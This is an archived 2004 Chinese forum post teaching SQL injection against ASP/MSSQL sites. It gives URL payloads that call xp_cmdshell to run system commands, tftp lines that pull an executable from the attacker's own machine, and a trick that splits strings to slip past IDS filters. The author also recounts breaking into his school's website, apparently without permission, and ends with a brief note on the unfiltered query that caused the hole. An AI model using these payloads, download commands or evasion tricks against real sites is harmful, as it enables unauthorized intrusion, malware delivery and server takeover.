以文本方式查看主题 - 计算机科学论坛 (http://bbs.xml.org.cn/index.asp) -- 『 编程心得 』 (http://bbs.xml.org.cn/list.asp?boardid=42) ---- SQL injection的实现与应用 (http://bbs.xml.org.cn/dispbbs.asp?boardid=42&rootid=&id=11294) |
-- 作者:anchen0617 -- 发布时间:10/26/2004 10:28:00 AM -- SQL injection的实现与应用 SQL injection可以说是一种漏洞,也可以说成是一种攻击方法,程序中的变量处理不当,对用户提交的数据过滤不足,都可能产生这个漏洞,而攻击原理就是利用用户提交或可修改的数据,把想要的SQL语句插入到系统实际SQL语句中,轻则获得敏感的信息,重则控制服务器。SQL injection并不紧紧局限在Mssql数据库中,Access、Mysql、Oracle、Sybase都可以进行SQL injection攻击。 isno的《SQL injection攻击技术》是一篇不可多得的好文章,大家可以看看,但是程序毕竟是各种各样的,有些可以通过修改URL数据来提交命令或语句,有些则不行,不能打URL的主意,怎么办呢?通过修改<input>标签内的value的值也可以提交我们构造的语句,SQL injection是很灵活的技术,但我们的目的只有一个,就是想方设法饶过程序或IDS的检测和处理提交我们构造的有效语句。 检测漏洞 在大多数ASP站点中,我们并不知道其程序代码,靠任何扫描器也不可能发现SQL injection漏洞,这时就要靠手工检测了,由于我们执行SQL语句要用到单引号、分号、逗号、冒号和“--”,所以我们就在可修改的URL后加上以上符号,或在表单中的文本框加上这些符号,比如: http://localhost/show.asp?id=1' Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e21' 如果能拿到源代码就更好了,可以通过分析源代码来发现ASP文件的问题,不过这要求有较高的编程功底,最近PsKey就发现了不少程序存在SQL injection漏洞。真是个厉害角色。 提交数据 我们判断出一个ASP程序存在SQL injection漏洞以后就要构造我们的语句来对服务器进行操作了,一般我们的目的是控制SQL服务器查阅信息甚至操作系统。所以我们要用到xp_cmdshell这个扩展存储过程,xp_cmdshell是一个非常有用的扩展存储过程,用于执行系统命令,比如dir,我们可以根据程序的不同,提交不同的语句,下例语句仅仅是个参考,告诉大家这个原理,实际情况视程序而定,照搬不一定成功,下同。 http://localhost/show.asp?id=1; exec master.dbo.xp_cmdshell 'dir';-- http://localhost/show.asp?id=1; exec master.dbo.xp_cmdshell 'tftp –i youip get file.exe';-- 对话框中的IP地址就是SQL服务器的IP,可以根据这个IP判断SQL服务器处于什么位置,和web服务器一起,在局域网内,还是单独的服务器,就自己判断了,此知识点不在本文讨论范围内,就此略过。命令执行成功以后,就可以替换单引号中的内容,添加用户、提升权限做什么都随便大家了,不过要看看连接SQL服务器的这个角色是什么组的了。 饶过程序/IDS检测 大多数时候,情况并非我们想象的那么顺利,明明字符过滤不完善,但程序或IDS检测到用户提交某个扩展存储过程或系统命令,就自动转换或拆分字符,让我们提交的数据分家或改变导致失效,怎么办呢?我记得我为了弄清如何饶过IDS检测,花了两节课的时间来思考,还写写画画浪费了半本笔记本,又经过小叮当的提示,就产生一个思路:拆分命令字符串,赋值给变量,然后把变量组合起来提交,这样就不会分家了,下面给出两个例子: declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\' 实战 我们学校的站点做得不错,上次发表了《由学校校园网看网络安全现况》以后,学校的安全性各方面都有些提高,监控程序接近变态,为什么这样说呢?添加了几十个守护进程,动不动就死机、蓝屏,不过我又破了,包括最令学校自豪的硬盘保护卡。(有人要问我为什么都拿自己学校开刀?因为作为一个安全技术爱好者连自己的学校/公司都搞不定还怎么混啊?而且可以间接提醒一下管理员,因为我们学校的管理员对安全性不是很在乎)可见安全没有绝对的,当然也不可能十全十美,尽管用扫描器找不到任何漏洞,但利用SQL injection漏洞却可以轻易攻破,看看整个站点,没有任何URL参数,文章是静态的页面,只有一个注册系统和动网论坛,动网论坛是SQL版的,自己修改过,所以比较安全,最新的漏洞没有。由于学校有条件,所以全站是基于ASP+SQL,为我们利用SQL injection漏洞打下基础,注册系统有个忘记密码功能,文件是lostpass.asp,提交用户以后转到lostpass1.asp,提交单引号和分号都提示错误,看来是没有过滤好,于是我提交以下命令: exec master.dbo.xp_cmdshell 'tftp –i youip get file.exe';-- http://ourschool/shownews.asp?newsid=1; http://ourschool/shownews.asp?newsid=1'exec master..xp_cmdshell 'tftp -i myip get flash.exe';-- 整个过程看起来很简单,执行一些语句就可以了,其实提交数据的时候,由于我事先没有看过shownews.asp的代码(后来我看了),提交了不下20次无效的语句,走了不少弯路,不过对SQL Injection的高手来说这些都是一些皮毛,这篇文章只不过是有个引导作用罢了。 解决办法 事后分析了一下(多谢PsKey的指导)shownews.asp,发现有这个文件完全没有做任何过滤,里面有这么一句: rs.open "select * from news where newsid=" & cstr(request("newsid")),conn,1,1 <% 由于本人水平有限,有错漏的地方请大家见谅。 |
W 3 C h i n a ( since 2003 ) 旗 下 站 点 苏ICP备05006046号《全国人大常委会关于维护互联网安全的决定》《计算机信息网络国际联网安全保护管理办法》 |
46.875ms |